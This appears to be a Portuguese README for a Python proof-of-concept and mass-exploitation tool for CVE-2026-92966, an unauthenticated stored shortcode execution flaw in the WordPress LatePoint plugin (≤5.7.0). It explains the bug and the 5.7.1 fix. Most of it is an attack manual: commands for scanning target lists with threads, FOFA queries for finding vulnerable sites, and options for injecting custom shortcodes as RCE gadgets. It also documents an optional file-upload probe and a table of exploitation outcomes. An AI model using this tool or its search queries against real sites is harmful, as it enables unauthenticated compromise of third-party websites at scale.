
PoC em Python e ferramenta de exploração em massa para CVE-2026-92966, uma execução armazenada de shortcode não autenticada no WordPress LatePoint ≤5.7.0 por meio dos campos de nome de reserva.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-92966 |
| Produto | LatePoint — Agendamento de Consultas |
| Afetado | ≤ 5.7.0 |
| Corrigido | 5.7.1 |
| CWE | CWE-94 — Injeção de código (execução de shortcode) |
| CVSS 3.1 | 9.1 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| Descobridor | hashiramasenju333 |
| Catálogo PoCbit | https://pocbit.org/pocs/ |
| Página PoCbit | https://pocbit.org/pocs/cve-2026-92966 |
| Marcador de verificação | POCBIT-92966-OK |
| Aviso | Wordfence Threat Intel |
PoC em Python alinhado com CVE-2026-102425: exploração em massa por padrão, --check, -u, --lab, pool de threads, hits.txt / exploited.txt. Sem chave de API — plantio totalmente sem autenticação através do fluxo público de agendamento.
O LatePoint para WordPress permite que visitantes anônimos agendem consultas. O nome / sobrenome do cliente são armazenados apenas com sanitize_text_field() — colchetes não são removidos, então valores como [caption]…[/caption] persistem.
Quando o site renderiza o bloco Gutenberg Customer Cabinet (render_customer_dashboard() → [latepoint_customer_dashboard]), o template do painel imprime o nome do cliente dentro do HTML (Welcome %s com esc_html($customer->full_name)). O esc_html não codifica [ ou ], então payloads semelhantes a shortcodes sobrevivem na saída do bloco.
O WordPress então executa do_shortcode em the_content na prioridade 11. Como a 5.7.0 retornava HTML bruto do painel a partir do handler do shortcode, os shortcodes armazenados na linha de boas-vindas eram analisados uma segunda vez e executados. A 5.7.1 corrige isso com encode_shortcode_delimiters() na saída do painel (veja o comentário em shortcodes_helper.php: "the_content runs do_shortcode at priority 11").
Impacto: execução arbitrária de shortcode sem autenticação. Isso não é sempre RCE instantâneo no SO por si só, mas em uma stack típica de WordPress encadeia para plugins críticos (formulários, construtores, gerenciadores de arquivos, shortcodes baseados em eval). O PoC comprova a execução com o [caption] do core e o opcional POCBIT_EXEC_SHORTCODE para gadgets de RCE específicos do site.
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (ou last_name) com um payload de shortcode.do_shortcode é disparada.Referências no código-fonte do fornecedor (5.7.0):
lib/models/customer_model.php — prepare_data_before_it_is_set() / sanitize_text_field nos nomeslib/views/customer_cabinet/dashboard.php — linha de boas-vindas com full_namelib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| Arquivo | Finalidade |
|---|---|
poc.py | CLI, menu interativo, exploração em massa |
_engine.py | Verificação de versão, tentativa de plant na reserva, trigger do dashboard, lab |
up.php | Arquivo de sondagem opcional caso seu shortcode de RCE faça upload de arquivos |
targets.example.txt | Lista de URLs para execução em lote |
extract-5.7.0/ / extract-5.7.1/ | Árvores do fornecedor para diff (opcional) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
Impressão digital: readme.txt Stable tag, dicas de front-end do LatePoint (latepoint-book-form, latepoint_helper), versão ≤ 5.7.0.
python poc.py -u https://target.example --check
python poc.py -u https://target.example
Se o alvo tiver um shortcode perigoso (gerenciador de arquivos, etc.):
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
Ou: python poc.py -u URL --exec-shortcode "[shortcode]"
A sonda padrão usa o shortcode do núcleo do WordPress [caption]POCBIT-92966-OK[/caption] (nenhum plugin extra é necessário para provar a execução).
python poc.py --lab
Vincula 127.0.0.1:8797, simula o readme 5.7.0, plantando o booking e executando do_shortcode duas vezes no HTML do dashboard. Espera-se "exploited": true.
| Status | Significado |
|---|---|
affected | Versão ≤ 5.7.0 (modo de verificação) |
exploited | Marcador após o assistente de reserva + página do Painel do Cliente autenticado |
plant_no_auth_cookie | Nome plantado, mas sem cookie de login de cliente/WP proveniente de admin-ajax |
plant_missing_service_id | O assistente de reserva não possui serviços públicos para selecionar |
plant_otp_required / plant_auth_blocked | Etapa do cliente bloqueada por OTP ou política de login |
no_customer_cabinet_page | Sessão OK, mas nenhuma página [latepoint_customer_dashboard] encontrada |
shortcode_not_triggered | Plant + sessão OK; painel carregado, mas o marcador não foi executado |
patched_skip | ≥ 5.7.1 |
no_latepoint | Plugin não detectado |
Exemplos de FOFA / busca:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
A taxa de sucesso do exploit depende de: assistente de reservas acessível sem pagamento, bloco do Gabinete do Cliente publicado, sessão de convidado após a reserva.
[ em customer[first_name] / last_name em latepoint_route_call — apenas temporário.Apenas testes autorizados.
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966